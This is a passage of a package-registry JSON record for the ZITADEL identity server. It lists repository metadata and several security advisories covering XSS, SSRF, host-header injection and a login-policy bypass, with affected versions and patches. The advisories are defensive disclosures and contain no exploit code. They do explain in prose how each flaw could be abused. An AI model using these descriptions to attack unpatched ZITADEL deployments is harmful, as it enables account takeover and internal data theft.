namespace":"github.com/zitadel/zitadel","versions_count":0,"first_release_published_at":null,"latest_release_published_at":"2026-11-05T00:30:41.594Z","latest_release_number":null,"latest_published_release_number":null,"last_synced_at":"2026-11-05T00:30:42.401Z","created_at":"2024-09-21T06:12:02.292Z","updated_at":"2026-11-05T06:19:46.586Z","registry_url":"https://pkg.go.dev/github.com/zitadel/zitadel/v2","install_command":"go get github.com/zitadel/zitadel/v2","documentation_url":"https://pkg.go.dev/github.com/zitadel/zitadel/v2#section-documentation","metadata":null,"repo_metadata":{"id":36961295,"uuid":"247714750","full_name":"zitadel/zitadel","owner":"zitadel","description":"ZITADEL - Identity infrastructure, simplified for you.","archived":false,"fork":false,"pushed_at":"2026-11-03T08:08:28.000Z","size":599756,"stargazers_count":15504,"open_issues_count":1344,"forks_count":1414,"subscribers_count":65,"default_branch":"main","last_synced_at":"2026-11-03T18:12:39.948Z","etag":null,"topics":["2fa","authentication","authorization","fido2","fips-140-3","identity","login","mfa","multitenancy","oauth2","oidc","openid-connect","passkeys","saml","scim","sso","user"],"latest_commit_sha":null,"homepage":"https://zitadel.com","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/zitadel.png","metadata":{"files":{"readme":"README.md","changelog":"changelog.config.js","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":".cursorrules","copilot":".github/copilot-instructions.md","dco":null,"cla":null,"disclosure":null}},"created_at":"2020-03-16T13:51:31.000Z","updated_at":"2026-11-03T15:26:48.000Z","dependencies_parsed_at":"2026-11-03T16:18:23.712Z","dependency_job_id":null,"html_url":"https://github.com/zitadel/zitadel","commit_stats":{"total_commits":2005,"total_committers":48,"mean_commits":"41.770833333333336","dds":0.7281795511221945,"last_synced_commit":"a3b36a0138d184293a79e3e4a2b24bbed1962926"},"previous_names":["caos/zitadel"],"tags_count":2163,"template":false,"template_full_name":null,"purl":"pkg:github/zitadel/zitadel","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/zitadel","download_url":"https://codeload.github.com/zitadel/zitadel/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/sbom","scorecard":null,"funding_links":["https://github.com/sponsors/zitadel"],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":349647599,"owners_count":38570343,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-11-03T11:36:44.738Z","status":"ssl_error","status_checked_at":"2026-11-03T11:36:44.278Z","response_time":53,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"zitadel","name":"ZITADEL","uuid":"70011121","kind":"organization","description":"Identity infrastructure, simplified for you.","email":"hi@zitadel.com","website":"https://zitadel.com","location":null,"twitter":"zitadel","company":null,"icon_url":"https://avatars.githubusercontent.com/u/70011121?v=4","repositories_count":90,"last_synced_at":"2026-10-31T10:22:23.599Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/zitadel","funding_links":["https://github.com/sponsors/zitadel"],"total_stars":18554,"followers":509,"following":0,"created_at":"2022-11-14T05:26:10.738Z","updated_at":"2026-10-31T10:22:23.752Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/zitadel","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/zitadel/repositories"},"tags":[]},"repo_metadata_updated_at":"2026-11-03T23:19:28.170Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":6.575695647630873,"dependent_packages_count":6.163325014640737,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":6.369510331135805},"purl":"pkg:golang/github.com/zitadel/zitadel/v2","advisories":[{"uuid":"GSA_kwCzR0hTQS02cng1LW0ycmMtaG1mN84ABTJL","url":"https://github.com/advisories/GHSA-6rx5-m2rc-hmf7","title":"ZITADEL: Stored XSS via Default URI Redirect Leads to Account Takeover","description":"### Summary\n\nA vulnerability in Zitadel's login V2 interface was discovered, allowing for possible account takeover.\n\n### Impact\n\nZitadel allows organization administrators to change the default redirect URI for their organization. This setting enables them to redirect users to an arbitrary location after they log in.\n\nDue to missing restrictions and improper handling, malicious javascrtipt code could be executed in Zitadel login UI (v2) using the users’ browser. \n\nAn unauthenticated remote attacker can exploit this Stored XSS vulnerability, reset the password of their victims, and take over their accounts.\n\nIt's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.Stored XSS vulnerability. \n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n- **4.x**: `4.0.0` through `4.11.1` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The login UI prevents execution of such code. Additionally, the page to change the password, now always requires the user's current password regardless of the state of the authenticated session.\n\n4.x: Upgrade to \u003e= [4.12.0](https://github.com/zitadel/zitadel/releases/tag/v4.12.0)\n\n### Workarounds\n\nThe recommended solution is to upgrade to a patched version.\n\n### Questions\n\nIf there are any questions or comments about this advisory, please send an email to [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nZITADEL extends thanks once again to Amit Laish from GE Vernova for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-04T22:53:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-6rx5-m2rc-hmf7","https://github.com/zitadel/zitadel/releases/tag/v4.12.0","https://nvd.nist.gov/vuln/detail/CVE-2026-29192","https://github.com/advisories/GHSA-6rx5-m2rc-hmf7"],"source_kind":"github","identifiers":["GHSA-6rx5-m2rc-hmf7","CVE-2026-29192"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-04T23:00:09.823Z","updated_at":"2026-11-04T06:06:43.429Z","epss_percentage":0.00351,"epss_percentile":0.28766,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cng1LW0ycmMtaG1mN84ABTJL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cng1LW0ycmMtaG1mN84ABTJL","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.12.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.12.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"4.12.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.12.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cng1LW0ycmMtaG1mN84ABTJL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yNXJ3LWc2ZmYtZm1nOM4ABTJK","url":"https://github.com/advisories/GHSA-25rw-g6ff-fmg8","title":"ZITADEL: Login V2 UI Policy Bypass Allows Unauthorized Self-Registration and Authentication","description":"### Summary\n\nA vulnerability in Zitadel's login V2 UI allowed users to bypass login behavior and security policies and self-register new accounts or sign in using password even if corresponding options were disabled in their organizaton.\n\n### Impact\n\nZitadel enables administrators to configure their organization’s login behavior and security policies. As part of this functionality, they can disable user self-registration, enforce passwordless logins only, and more.\n\nDue to improper enforcement an attacker could send direct HTTP requests to the login UI and create accounts in organizations that have disabled user self-registration, and gain unauthorized access to the system.\nThe same attack vector could be used to authenticate for example using username and password even when this login method was disabled.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n- **4.x**: `4.0.0` through `4.12.0` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by enforcing the policies on the logiin UI server.\n\n4.x: Upgrade to \u003e=[4.12.1](https://github.com/zitadel/zitadel/releases/tag/v4.12.1)\n\n### Workarounds\n\nThe recommended solution is to upgrade to a patched version.\n\n### Questions\n\nIf there are any questions or comments about this advisory, please send an email to [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits \n\nZITADEL extends thanks once again to Amit Laish from GE Vernova for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-04T22:51:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-25rw-g6ff-fmg8","https://github.com/zitadel/zitadel/releases/tag/v4.12.1","https://nvd.nist.gov/vuln/detail/CVE-2026-29193","https://github.com/advisories/GHSA-25rw-g6ff-fmg8"],"source_kind":"github","identifiers":["GHSA-25rw-g6ff-fmg8","CVE-2026-29193"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-04T23:00:09.823Z","updated_at":"2026-11-04T06:06:43.430Z","epss_percentage":0.00352,"epss_percentile":0.28839,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNXJ3LWc2ZmYtZm1nOM4ABTJK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yNXJ3LWc2ZmYtZm1nOM4ABTJK","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.12.1","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 4.12.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"4.12.1","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 4.12.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNXJ3LWc2ZmYtZm1nOM4ABTJK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wcjM0LTJ2NXgtNnFqcc4ABTJJ","url":"https://github.com/advisories/GHSA-pr34-2v5x-6qjq","title":"ZITADEL has 1-Click Account Takeover via XSS in /saml-post Endpoint","description":"### Summary\n\nA vulnerability was discovered in Zitadel's login V2 interface that allowed a possible account takeover.\n\n### Impact\n\nZitadel exposes an HTTP endpoint named /saml-post. This endpoint is used for handling requests to SAML IdPs and accepts two HTTP GET parameters: url and id. When these parameters are supplied, users’ browsers auto-submit an HTTP POST request to the provided url parameter.\n \nThe endpoint insecurely redirects users using the provided url GET parameter. As a result, by specifying a javascript: scheme, malicious JS code could be executed on Zitadel users’ browsers. \n\nThe endpoint also reflects user-supplied input in the server response, without HTML-encoding it. As a result, it is possible to inject arbitrary HTML code, which again leads to malicious JS code execution in the Zitadel users’ browsers.\n\nAn unauthenticated remote attacker can exploit these XSS vulnerabilities, and thus, execute malicious JavaScript code on behalf of Zitadel users. By doing so, such an attacker could reset the password of their victims, and take over their accounts.\n\nIt's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n- **4.x**: `4.0.0` through `4.11.1` (including RC versions)\n \nImportant Note: Although this /saml-post endpoint is used when Zitadel is integrated with a SAML Identity Provider (IdP), the vulnerability in this finding does not require Zitadel to be configured with a SAML IdP. Consequently, Zitadel is vulnerable in its default, out-of-the-box configuration.\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch reworked the integration of SAML IdPs and the /saml-post endpoint no longer exists. Additionally, the page to change the password, now always requires the user's current password regardless of the state of the authenticated session.\n\n4.x: Upgrade to \u003e= [4.12.0](https://github.com/zitadel/zitadel/releases/tag/v4.12.0)\n\n### Workarounds\n\nThe recommended solution is to upgrade to a patched version. If an upgrade is not possible and no SAML IdP integration is needed, a WAF or reverse proxy rule can be deployed to prevent access to the endpoint.\n\n### Questions\n\nIf there are any questions or comments about this advisory, please email them to [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nZITADEL extends thanks once again to Amit Laish from GE Vernova for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-03-04T22:47:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-pr34-2v5x-6qjq","https://nvd.nist.gov/vuln/detail/CVE-2026-29191","https://github.com/advisories/GHSA-pr34-2v5x-6qjq"],"source_kind":"github","identifiers":["GHSA-pr34-2v5x-6qjq","CVE-2026-29191"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-04T23:00:09.823Z","updated_at":"2026-11-04T06:06:43.430Z","epss_percentage":0.00455,"epss_percentile":0.39543,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcjM0LTJ2NXgtNnFqcc4ABTJJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcjM0LTJ2NXgtNnFqcc4ABTJJ","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"4.12.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.12.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.12.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.12.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcjM0LTJ2NXgtNnFqcc4ABTJJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03Nzc3LWZocTktNTkyds4ABS6y","url":"https://github.com/advisories/GHSA-7777-fhq9-592v","title":"ZITADEL has potential SSRF via Actions","description":"### Summary\n\nZITADEL Action V2 (introduced as early preview in 2.59.0, beta in 3.0.0 and GA in 4.0.0) is a webhook based approach to allow developers act on API request to Zitadel and customize flows such the issue of a token.\n\nZITADEL's Action target URLs can point to local hosts, potentially allowing adversaries to gather internal network information and connect to internal services.\n\n### Impact\n\nWhen the URL points to a local host / IP address, an adversary might gather information about the internal network structure, the services exposed on internal hosts etc. This is sometimes called a Server-Side Request Forgery (SSRF).\n\nZITADEL Actions expect responses according to specific schemas, which reduces the threat vector.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n- **4.x**: `4.0.0` through `4.11.0` (including RC version)\n- **3.x**: `3.0.0` to `3.4.6` (including RC versions)\n- **2.x**: `2.59.0` to `2.71.19`\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by checking the target URL against a denylist. By default localhost, resp. loopback IPs are denied.\n\nNote that this fix was only released on v4.x. Due to the stage (preview / beta) in which the functionality was in v2.x and v3.x, the changes that have been applied to it since then and the severity, respectively the actual thread vector, a backport to the corresponding versions was not feasible. Please check the workaround section for alternative solutions if an upgrade to v4.x is not possible.\n\n4.x: Upgrade to \u003e=[4.11.1](https://github.com/zitadel/zitadel/releases/tag/v4.11.1)\n3.x: Update to \u003e=[v4.11.1](https://github.com/zitadel/zitadel/releases/tag/v4.11.1) or check out workarounds\n2.x: Update to \u003e=[v4.11.1](https://github.com/zitadel/zitadel/releases/tag/v4.11.1) or check out workarounds\n\n### Workarounds\n\nThe recommended solution is to update Zitadel to a patched version.\n\nIf an upgrade is not possible, users can prevent actions from using unintended endpoints by setting network policies or firewall rules in your infrastructure. Note that this is outside of the functionality provided by ZITADEL.\n\n### Questions\n\nIf there are any questions or comments about this advisory, please send an email to [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThis vulnerability was found by [zentrust partners GmbH](https://zentrust.partners) during a scheduled penetration test. Thank you to the analysts Martin Tschirsich, Joud Zakharia, Christopher Baumann.\nThe full report will be made public after the complete review.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-02-27T21:33:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-7777-fhq9-592v","https://nvd.nist.gov/vuln/detail/CVE-2026-27945","https://github.com/zitadel/zitadel/commit/b2532e9666215bef04855d138ca716045bb74a06","https://github.com/zitadel/zitadel/releases/tag/v4.11.1","https://github.com/advisories/GHSA-7777-fhq9-592v"],"source_kind":"github","identifiers":["GHSA-7777-fhq9-592v","CVE-2026-27945"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-27T22:00:09.758Z","updated_at":"2026-11-05T05:05:34.487Z","epss_percentage":0.00257,"epss_percentile":0.17158,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Nzc3LWZocTktNTkyds4ABS6y","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03Nzc3LWZocTktNTkyds4ABS6y","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"1.80.0-v2.20.0.20260225053328-b2532e966621","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20260225053328-b2532e966621"},{"first_patched_version":"4.11.1","vulnerable_version_range":"\u003e= 2.59.0, \u003c 4.11.1"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Nzc3LWZocTktNTkyds4ABS6y/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12OTU5LXF4djYtNmY4cM4ABPUZ","url":"https://github.com/advisories/GHSA-v959-qxv6-6f8p","title":"ZITADEL Vulnerable to Account Takeover via DOM-Based XSS in Zitadel V2 Login","description":"### Summary\n\nA potential vulnerability exists in ZITADEL's logout endpoint in login V2. This endpoint accepts serval parameters including a `post_logout_redirect`. When this parameter is specified, users will be redirected to the site that is provided via this parameter.\nZITADEL's login UI did not ensure that this parameter contained an allowed value and even executed passed scripts.\n\n### Impact\n\nZitadel is vulnerable to a DOM-Based XSS vulnerability. More specifically, the /logout endpoint insecurely routed to value that is supplied in the post_logout_redirect GET parameter. As a result, malicious JS code could be executed on Zitadel users’ browsers, in the Zitadel V2 Login domain.\n\nAn unauthenticated remote attacker can exploit this DOM-based XSS vulnerability, and thus, execute malicious JavaScript code on behalf of Zitadel users. By doing so, such an attacker could reset the password of their victims, and take over their accounts.\n\nNote that for this to work, multiple user sessions need to be active in the same browser. Additionally, it's important to note that an account takeover is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.\n\n### Affected Versions\n\nSystems using the login UI (v2) and running one of the following versions are affected:\n- **v4.x**: `4.0.0-rc.1` through `4.7.0`\n\n### Patches\n\nThe vulnerability has been addressed in the latest release. The patch resolves the issue by ensuring the information was passed for the ZITADEL API using a JSON Web Token (JWT).\nIf you're running your own login UI, we recommend switching over to the new `logout_token` parameter, which contains all information previously passed via specific query parameters. The contained JWT's signature needs to be verified with the instance OAuth2/OIDC public keys (jwks_uri).\n\nBefore you upgrade, ensure that:\n- the `ZITADEL_API_URL` is set and is pointing to your instance, resp. system in multi-instance deployments.\n- the HTTP `host` (or a `x-forwarded-host`) is passed in your reverse proxy to the login UI.\n- a `x-zitadel-instance-host` (or `x-zitadel-forward-host`) is set in your reverse for multi-instance deployments. If you're running a single instance solution, you don't need to take any actions.\n\nPatched versions:\n- 4.x: Upgrade to \u003e=[4.7.1](https://github.com/zitadel/zitadel/releases/tag/v4.7.1)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-12-08T22:20:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-v959-qxv6-6f8p","https://github.com/zitadel/zitadel/commit/4c879b47334e01d4fcab921ac1b44eda39acdb96","https://nvd.nist.gov/vuln/detail/CVE-2025-67495","https://github.com/advisories/GHSA-v959-qxv6-6f8p"],"source_kind":"github","identifiers":["GHSA-v959-qxv6-6f8p","CVE-2025-67495"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-08T23:00:07.273Z","updated_at":"2026-11-04T06:07:43.640Z","epss_percentage":0.003,"epss_percentile":0.22531,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OTU5LXF4djYtNmY4cM4ABPUZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OTU5LXF4djYtNmY4cM4ABPUZ","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"1.80.0-v2.20.0.20251208091519-4c879b47334e","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251208091519-4c879b47334e"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.7.1","vulnerable_version_range":"\u003e= 4.0.0-rc.1, \u003c 4.7.1"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.83.4, \u003c= 1.87.5"},{"first_patched_version":"1.80.0-v2.20.0.20251208091519-4c879b47334e","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251208091519-4c879b47334e"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OTU5LXF4djYtNmY4cM4ABPUZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZnJmLTlyNWYtNzNmNc4ABPUY","url":"https://github.com/advisories/GHSA-pfrf-9r5f-73f5","title":"ZITADEL Vulnerable to Account Takeover Due to Improper Instance Validation in V2 Login","description":"### Summary\n\nA potential vulnerability exists in ZITADEL's password reset mechanism in login V2. ZITADEL utilizes the Forwarded or X-Forwarded-Host header from incoming requests to construct the URL for the password reset confirmation link. This link, containing a secret code, is then emailed to the user.\n\n### Impact\n\nIf an attacker can manipulate these headers (e.g., via host header injection), they could cause ZITADEL to generate a password reset link pointing to a malicious domain controlled by the attacker. If the user clicks this manipulated link in the email, the secret reset code embedded in the URL can be captured by the attacker. This captured code could then be used to reset the user's password and gain unauthorized access to their account.\n\nIt's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.\n\n### Affected Versions\n\nSystems using the login UI (v2) and running one of the following versions are affected:\n- **v4.x**: `4.0.0-rc.1` through `4.7.0`\n\n### Patches\n\nThe vulnerability has been addressed in the latest release. The patch resolves the issue by correctly validating the X-Forwarded-Host and Forwarded headers against the instance custom and trusted domains.\n\nBefore you upgrade, ensure that:\n- the `ZITADEL_API_URL` is set and is pointing to your instance, resp. system in multi-instance deployments.\n- the HTTP `host` (or a `x-forwarded-host`) is passed in your reverse proxy to the login UI.\n- a `x-zitadel-instance-host` (or `x-zitadel-forward-host`) is set in your reverse for multi-instance deployments. If you're running a single instance solution, you don't need to take any actions.\n\nPatched versions:\n- 4.x: Upgrade to \u003e=[4.7.1](https://github.com/zitadel/zitadel/releases/tag/v4.7.1)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\nA ZITADEL fronting proxy can be configured to delete all forwarded header values or set it to the requested host before sending requests to ZITADEL self-hosted environments.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-12-08T22:19:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-pfrf-9r5f-73f5","https://github.com/zitadel/zitadel/commit/4c879b47334e01d4fcab921ac1b44eda39acdb96","https://nvd.nist.gov/vuln/detail/CVE-2026-29067","https://github.com/advisories/GHSA-pfrf-9r5f-73f5"],"source_kind":"github","identifiers":["GHSA-pfrf-9r5f-73f5","CVE-2026-29067"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-08T23:00:07.273Z","updated_at":"2026-11-04T06:07:43.641Z","epss_percentage":0.00372,"epss_percentile":0.31145,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZnJmLTlyNWYtNzNmNc4ABPUY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZnJmLTlyNWYtNzNmNc4ABPUY","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"1.80.0-v2.20.0.20251208091519-4c879b47334e","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251208091519-4c879b47334e"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.7.1","vulnerable_version_range":"\u003e= 4.0.0-rc.1, \u003c 4.7.1"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.83.4, \u003c= 1.87.5"},{"first_patched_version":"1.80.0-v2.20.0.20251208091519-4c879b47334e","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251208091519-4c879b47334e"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZnJmLTlyNWYtNzNmNc4ABPUY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03d2ZjLTQ3OTYtZ21nNc4ABPUX","url":"https://github.com/advisories/GHSA-7wfc-4796-gmg5","title":"ZITADEL Vulnerable to Unauthenticated Full-Read SSRF via V2 Login","description":"### Summary\n\nZitadel is vulnerable to an unauthenticated, full-read SSRF vulnerability. An unauthenticated remote attacker can force Zitadel into making HTTP requests to arbitrary domains, including internal addresses. The server then returns the upstream response to the attacker, enabling data exfiltration from internal services.\n\n### Impact\n\nZITADEL Login UI (V2) was vulnerable to service URL manipulation through the x-zitadel-forward-host header. The service URL resolution logic treated the header as a trusted fallback for all deployments, including self-hosted instances. This allowed unauthenticated attacker to force the server to make outbound requests and read the responses, reaching internal services, exfiltrating data, and bypassing IP-based or network-segmentation controls. \n \n### Affected Versions\n\nSystems using the login UI (v2) and running one of the following versions are affected:\n- **v4.x**: `4.0.0-rc.1` through `4.7.0`\n\n### Patches\n\nThe vulnerability has been addressed in the latest release. The patch resolves the issue by correctly validating the x-zitadel-forward-host, resp. all forwarded headers against the instance domains and trusted domains. It's no longer used to route traffic to the Zitadel API.\n\nBefore you upgrade, ensure that:\n- the `ZITADEL_API_URL` is set and is pointing to your instance, resp. system in multi-instance deployments.\n- the HTTP `host` (or a `x-forwarded-host`) is passed in your reverse proxy to the login UI.\n- a `x-zitadel-instance-host` (or `x-zitadel-forward-host`) is set in your reverse for multi-instance deployments. If you're running a single instance solution, you don't need to take any actions.\n\nFixed versions:\n- 4.x: Upgrade to \u003e=[4.7.1](https://github.com/zitadel/zitadel/releases/tag/v4.7.1)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\nA ZITADEL fronting proxy can be configured to delete all `x-zitadel-forward-host` header values or set it to the requested host before sending requests to ZITADEL self-hosted environments.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Amit Laish – GE Vernova for finding and reporting the 